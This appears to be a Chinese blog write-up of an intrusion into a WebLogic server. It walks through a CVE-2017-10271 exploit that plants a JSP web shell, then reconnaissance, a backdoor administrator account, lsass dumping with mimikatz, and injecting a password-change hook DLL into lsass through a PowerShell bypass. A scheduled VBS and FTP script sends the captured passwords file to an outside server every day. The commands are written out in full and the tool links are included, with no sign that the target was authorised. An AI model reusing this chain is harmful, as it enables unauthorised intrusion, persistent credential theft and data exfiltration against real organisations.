珍惜每一刻。
在某次测试中发现了某某站点开了7001端口
的Weblogic
服务,于是。。。
漏洞验证与利用
运用payload
向其写入shell
1 | root@kali:~/Desktop/Oracle-WebLogic-CVE-2017-10271-master# java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx:7001 abc.jsp |
这里请无视(xxx)
信息收集
访问shell
地址执行命令1
2
3
4
5whoami -->xxx\admin
ipconfig -->公网地址
sysinfo -->win2008x64 R2 EN 工作组 257个补丁
net localgroup administrators --> 得知当前用户(admin)是管理组
tasklist -->杀软卡巴斯基(avp.exe)
执行netstat -ano
看下端口,发现没有开启3389端口。但这不是绝对的,有些可爱的管理员会把3389端口改成别的端口,进行远程链接。所以要想知道真正的远程端口链接是多少需执行tasklist /svc
命令,查看svchost.exe
对应的TermService
的pid
1
svchost.exe 3788 TermService
查看对应的PID,得知远程链接端口为39800
攻击
1 | net user admin1 Qww123!/add&net localgoup administrators admin1 /add |
链接远程端口之!
emmm什么时候冒出了一个熊猫卫士清理工具??
好吧。
这杀软环境挺让人绝望的,光是卡巴就够呛还来个熊猫帮手
较新版本的卡巴
对lsass
进程全面封锁,进程是动不了的,但幸运的是,该机子的卡巴是旧版本,而且病毒库也不更新,得利于管理员的懒惰,成功将它的lsass
进程创建为转储文件lsass.DMP
,并把它拖回本地dump
mimikatz
获取到管理员密码
巩固
都已经拿到管理员密码了,你还想怎样?没错,我不仅要拿你的密码,就算你修改新的密码,我也要知道!
准备HookPasswordChange.dll
和Invoke-ReflectivePEInjection.ps1
文件,然后运行该powershell
脚本将dll
注入到lsass
进程中。利用方法文章结束后有相关链接
将准备好的文件丢进目标机子,执行命令1
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"
成功安装,当管理员修改密码的时候会记录下新的密码,且以文本的形式保存在c:\windows\temp\passwords.txt
因为管理员没有这么快改密码,所以自己就创建一个管理员用户,并修改密码做测试
OK,没问题
传输
实际过程中如果管理员修改了密码,我们是要将passwords.txt
传送出来的。
方法有很多,这里就用个简单的FTP
上传文件的方式,将文件发送到FTP
服务器
将VBS脚本放到任务计划书里,按时执行,VBS代码如下1
2Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide
ftp.txt内容为1
2
3
4
5open xxx.xxx.xxx.xxx
ppp
123456
put c:\windows\temp\passwords.txt
bye
继续忽略xxx
但是,目标机子运行FTP xxx.xxx.xxx.xxx(xxx为FTP服务器的IP)报错:访问被拒绝
可能是卡巴惹的祸吧,没有深究,自己上传个ftp.exe
上去运行
成功链接到FTP
服务器
在任务计划书里定时一天发送一次,搞定。
相关链接
WebLogic Payload:https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
HookPasswordChange:http://wooyun.jozxing.cc/static/drops/tips-13079.html
溜了~